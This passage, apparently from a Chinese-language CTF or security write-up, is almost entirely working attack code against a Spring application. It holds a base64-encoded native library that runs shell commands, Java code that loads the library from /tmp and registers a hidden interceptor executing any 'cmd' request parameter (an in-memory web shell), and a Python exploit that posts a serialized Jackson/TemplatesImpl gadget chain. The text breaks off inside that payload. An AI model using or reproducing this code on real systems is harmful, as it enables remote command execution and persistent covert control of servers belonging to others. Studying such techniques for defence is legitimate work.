AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEQAAAAAAALARAAAAAAAAAQAAAAAAAACwAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAMAUAAAAAAAAGQAAAAAAAAAQPgAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAA8AIAAAAAAAAFAAAAAAAAAGgEAAAAAAAABgAAAAAAAAAYAwAAAAAAAAoAAAAAAAAA0AAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAwAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAAAwBgAAAAAAAAcAAAAAAAAAiAUAAAAAAAAIAAAAAAAAAKgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAWAUAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAA4BQAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAFAQAAAAAAAAYBAAAAAAAABwEAAAAAAAAIAQAAAAAAAAkBAAAAAAAACgEAAAAAAAAFhAAAAAAAAAR0NDOiAoVWJ1bnR1IDExLjMuMC0xdWJ1bnR1MX4yMi4wNCkgMTEuMy4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgBAEQAAAAAAAAAAAAAAAAAADgAAAAIADgBwEQAAAAAAAAAAAAAAAAAAIQAAAAIADgCwEQAAAAAAAAAAAAAAAAAANwAAAAEAGQBgQAAAAAAAAAEAAAAAAAAAQwAAAAEAFAAYPgAAAAAAAAAAAAAAAAAAagAAAAIADgDwEQAAAAAAAAAAAAAAAAAAdgAAAAEAEwAQPgAAAAAAAAAAAAAAAAAAlQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAmwAAAAEAEgDoIAAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAqQAAAAIADwDAFAAAAAAAAAAAAAAAAAAArwAAAAEAGABYQAAAAAAAAAAAAAAAAAAAvAAAAAEAFQAgPgAAAAAAAAAAAAAAAAAAxQAAAAAAEQAEIAAAAAAAAAAAAAAAAAAA2AAAAAEAGABgQAAAAAAAAAAAAAAAAAAA5AAAAAEAFwAAQAAAAAAAAAAAAAAAAAAA+gAAAAIACgAAEAAAAAAAAAAAAAAAAAAAAAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAlgEAABIADgD5EQAAAAAAAAABAAAAAAAAHAEAABIAAAAAAAAAAAAAAAAAAAAAAAAANwEAABIAAAAAAAAAAAAAAAAAAAAAAAAASgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfAEAABIADgD5EgAAAAAAAMUBAAAAAAAAngEAABAAAAAAAAAAAAAAAAAAAAAAAAAApQEAABAAAAAAAAAAAAAAAAAAAAAAAAAArQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwAEAACAAAAAAAAAAAAAAAAAAAAAAAAAA2gEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC4wAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBSY2UuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9pbml0AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfX3N0YWNrX2Noa19mYWlsQEdMSUJDXzIuNABtZW1zZXRAR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAZmVvZkBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBKYXZhX2NvbV9qYXZhc2VjX0NtZGNsYXNzX2V4ZWNDbWQAX3BvcGVuAF9wY2xvc2UAc3RyY2F0QEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAR0xJQkNfMi4yLjUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LnByb3BlcnR5AC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC5wbHQuc2VjAC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAC4AAAAHAAAAAgAAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABBAAAA9v//bwIAAAAAAAAA8AIAAAAAAADwAgAAAAAAACgAAAAAAAAABAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAASwAAAAsAAAACAAAAAAAAABgDAAAAAAAAGAMAAAAAAABQAQAAAAAAAAUAAAABAAAACAAAAAAAAAAYAAAAAAAAAFMAAAADAAAAAgAAAAAAAABoBAAAAAAAAGgEAAAAAAAA0AAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABbAAAA////bwIAAAAAAAAAOAUAAAAAAAA4BQAAAAAAABwAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAaAAAAP7//28CAAAAAAAAAFgFAAAAAAAAWAUAAAAAAAAwAAAAAAAAAAUAAAABAAAACAAAAAAAAAAAAAAAAAAAAHcAAAAEAAAAAgAAAAAAAACIBQAAAAAAAIgFAAAAAAAAqAAAAAAAAAAEAAAAAAAAAAgAAAAAAAAAGAAAAAAAAACBAAAABAAAAEIAAAAAAAAAMAYAAAAAAAAwBgAAAAAAAMAAAAAAAAAABAAAABcAAAAIAAAAAAAAABgAAAAAAAAAiwAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAbAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIYAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACRAAAAAQAAAAYAAAAAAAAAsBAAAAAAAACwEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAmgAAAAEAAAAGAAAAAAAAAMAQAAAAAAAAwBAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAKMAAAABAAAABgAAAAAAAABAEQAAAAAAAEARAAAAAAAAfgMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAYAAAAAAAAAwBQAAAAAAADAFAAAAAAAAA0AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAArwAAAAEAAAACAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAALcAAAABAAAAAgAAAAAAAAAEIAAAAAAAAAQgAAAAAAAANAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAADFAAAAAQAAAAIAAAAAAAAAOCAAAAAAAAA4IAAAAAAAALQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzwAAAA4AAAADAAAAAAAAABA+AAAAAAAAEC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANsAAAAPAAAAAwAAAAAAAAAYPgAAAAAAABguAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADnAAAABgAAAAMAAAAAAAAAID4AAAAAAAAgLgAAAAAAAMABAAAAAAAABQAAAAAAAAAIAAAAAAAAABAAAAAAAAAAlQAAAAEAAAADAAAAAAAAAOA/AAAAAAAA4C8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPAAAAABAAAAAwAAAAAAAAAAQAAAAAAAAAAwAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAD5AAAAAQAAAAMAAAAAAAAAWEAAAAAAAABYMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA/wAAAAgAAAADAAAAAAAAAGBAAAAAAAAAYDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAQBAAABAAAAMAAAAAAAAAAAAAAAAAAAAGAwAAAAAAAAKwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAACQMAAAAAAAABgDAAAAAAAAHAAAABQAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAqDMAAAAAAAD1AQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJ01AAAAAAAADQEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="; public static native String execCmd(String cmd); private static String LIB_PATH = "/tmp/cmd.so"; static { try { System.out.println("staart"); byte[] jniBytes = Base64.getDecoder().decode(soBase64); RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw"); randomAccessFile.write(jniBytes); randomAccessFile.close(); ClassLoader cmdLoader = Cmdclass.class.getClassLoader(); Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader"); Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary"); Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class); load.setAccessible(true); Field nativeLibraries = classLoaderClazz.getDeclaredField("nativeLibraries"); nativeLibraries.setAccessible(true); Vector<Object> libs = (Vector<Object>) nativeLibraries.get(cmdLoader); Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class); nativeLibraryCons.setAccessible(true); Object nativeLibraryObj = nativeLibraryCons.newInstance(Cmdclass.class, LIB_PATH, false); libs.addElement(nativeLibraryObj); nativeLibraries.set(cmdLoader, libs); load.invoke(nativeLibraryObj, LIB_PATH, false); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } Cmdclass evilInterceptor = new Cmdclass(); adaptInterceptors.add(evilInterceptor); System.out.println("ok"); } catch (Exception ex){ System.out.println(ex); } }
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setCharacterEncoding("gbk"); PrintWriter printWriter = response.getWriter(); String res = Cmdclass.execCmd(cmd); printWriter.println(res); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
这里需要注意,这个内存马的包名和上面我们的cmdClass必须全部对应,否则就会报错
然后用exp打入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
baseUrl = "http://127.0.0.1" burp0_url = baseUrl + "/read" burp0_headers = {"Transfer-Encoding": "chunked", "Content-Type": "text/plain", "Connection": "close"} payload = """rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAH3QAKWNvbS5qYXZhc2VjLnBvY3MuamFja3Nvbi5CQVRlbXBsYXRlc0NoYWludAAVQkFUZW1wbGF0ZXNDaGFpbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAANaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHAAAHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkWwAMYWR2aXNvckFycmF5dAAiW0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9BZHZpc29yO0wAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnNxAH4AB0wACmludGVyZmFjZXNxAH4AB0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHVyACJbTG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLkFkdmlzb3I734MNrdIehHQCAAB4cAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN+JOcfcCAAB4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAB4c3EAfgAUAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAF4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAABvq8r+ur4AAAA0AT8KAEYAsQgAYQsAsgCzCAC0CwC1ALYLALUAtwoAHQC4CgC5ALoKALkAuwoAuQC8BwC9CgALAL4LAEcAvwsARwDACADBCQAdAMIIAMMJAB0AxAkAxQDGCADHCgDIALoKAMkAygoAywDMBwDNCADOCgAYAM8KABgA0AoAGAC8BwDRCgAjANIIANMKACMA1AgA1QgAjAcA1gcA1wkA2ADZCgAjANoKANsA3AgAjgoAIwDdCgDeANwKAN4A3wcA4AoAIwDhCgDiANwHAOMKANgA5AoA4gDlCgAsAOYKAN4A5woA2wDoCgDpAOoIAOsLAOwA7QcA7gcA7wsAOADwBwDxCADyBwDzCgA9AL4HAPQHAPUKAEAAvgoAHQCxCwA/APYIAPcKAMgA+AcA+QcA+gEACHNvQmFzZTY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAITElCX1BBVEgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vamF2YXNlYy9DbWRjbGFzczsBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAANyZXMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAA1TdGFja01hcFRhYmxlBwDRBwD7BwD8BwDjBwDXBwC9AQAKRXhjZXB0aW9ucwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwD9AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzs